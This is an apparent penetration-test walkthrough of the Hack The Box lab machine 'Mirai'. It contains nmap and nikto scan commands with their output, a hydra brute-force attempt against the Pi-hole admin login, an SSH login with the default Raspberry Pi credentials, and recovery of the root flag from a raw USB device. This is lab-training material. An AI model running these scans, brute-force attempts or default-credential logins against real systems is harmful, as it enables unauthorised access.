1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them
Hostname: Mirai
IP: 10.10.10.48
OS: Linux
Ports:
22/tcp open ssh
53/tcp open domain
80/tcp open http
1868/tcp open viziblebrowser
32400/tcp open plex
32469/tcp open unknown

1.3 - Exploitation & Privesc

> high level overview of the services you exploited

Brute force admin password Pi-hole:
hydra -l '' -P /usr/share/wordlists/rockyou.txt mirai.htb http-post-form "/admin/index.php?login:pw=^PASS^:Forgot password"
→ No Result

SSH with user pi into machine:

I found header web application name is x-pi-hole, maybe server carry machine running OS raspberrian.
nikto -c all -h http://mirai.htb
→ Result:
```nikto
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.48
+ Target Hostname:    mirai.htb
+ Target Port:        80
+ Start Time:         2021-11-15 21:43:48 (GMT-5)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.35
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-pi-hole' found, with contents: A black hole for Internet advertisements.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
```

Try login with default password raspberry OS
credential: pi/raspberry
ssh pi@mirai.htb
→ raspberry
```ssh
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov 16 03:34:47 2021 from 10.10.14.2
```

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),
60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)

```
Login and cat user.txt

cat /root/root.txt
→ hint in /media/usbstick
→ cat /media/usestick/damnit.txt
→ restore usestick
→ df -h
→ /dev/sdb link /media/stick
→ find root flag in command
`cat /dev/sdb | strings`

# *2.0 - Methodology and Walkthrough*

# *2.1 - Enumeration*

> scans and inital discover
##First scan
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 -p1-65535 --defeat-rst-ratelimit -oN /opt/OSCP/labs/HTB/
48-Mirai/10.10.10.48.txt 10.10.10.48
→ Result:
```nmap
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
1868/tcp  open  viziblebrowser
32400/tcp open  plex
32469/tcp open  unknown

```
##Second scan
nmap -nvv -Pn -sSV --version-intensity 9 -p 22,53,80,1868,32400,32469 -A -oN /opt/OSCP/labs/HTB/48-Mirai/nmap-
version.txt 10.10.10.48
→ Result:
```nmap
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAJpzaaGcmwdVrkG//
X5kr6m9em2hEu3SianCnerFwTGHgUHrRpR6iocVhd8gN21TPNTwFF47q8nUitupMBnvImwAs8NcjLVclPSdFJSWwTxbaBiXOqyjV5BcK
1gUAZIimeKOj2x39kcBpcpM6ZAAAAFQDwL9La/FPu1rEutE8yfdIgxTDDNQAAAIBJbfYW/
leOFHPiKBzHWiM8JTjhPCcvjIkNjKMMdS6uo00/JQH4VUUTscc/LTvYmQeLAyc7GYQ/
AcLgoYFHm8hDgFVN2D4BQ7yGQT9dU4GAOp4/
H1wHPKlAiBuDQMsyEk2s2J+60Rt+hUKCZfnxPOoD9l+VEWfZQYCTOBi3gOAotgAAAIBd6OWkakYL2e132lg6Z02202PIq9zvAx3tfViu
w6JSowf9KHxvoprAGiEg7GjyvidBr9Mzv1WajlU9BQO0Nc7poV2UzyMwLYLqzdjBJT28WUs3qYTxanaUrV9g==
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQCpSoRAKB+cPR8bChDdajCIpf4p1zHfZyu2xnIkqRAgm6Dws2zcy+VAZriPDRUrht10GfsBLZ
1PZpkUd2b1PKvN2YIg4SDtpvTrdwAM2uCgUrZdKRoFa+nd8REgkTg8JRYkSGQ/
RxBZzb06JZhRSvLABFve3rEPVdwTf4mzzNuryV4DNctrAojjP4Sq7Msc24poQRG9AkeyS1h4zrZMbB0DQaKoyY3pss5FWJ+qa83XNsqj
6bGkIE68vS5CQi9Phygke6/a39EP2pJp6WzT5KI3Yosex3Br85kbh/J8CVf4EDIRs5qismW+AZLeJUJHrj
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCl89gWp+rA+2SLZzt3r7x+9sXFOCy9g3C9Yk1S21hT/
VOmlqYys1fbAvqwoVvkpRvHRzbd5CxViOVih0TeW/bM=
|   256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvYtCvO/UREAhODuSsm7liSb9SZ8gLoZtn7P46SIDZL
53/tcp    open  domain  syn-ack ttl 63 dnsmasq 2.76
| dns-nsid:
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    syn-ack ttl 63 lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.35
1868/tcp  open  upnp    syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    syn-ack ttl 63 Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open  upnp    syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
```

##Vuln scan
nmap -Pn -sS -sC --script='*vuln*' -T4 -p 22,53,80,1868,32400,32469 -oN /opt/OSCP/labs/HTB/48-Mirai/nmap-vuln.txt
10.10.10.48
→ Result:
```nmap
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
1868/tcp  open  viziblebrowser
32400/tcp open  plex
32469/tcp open  unknown
```
```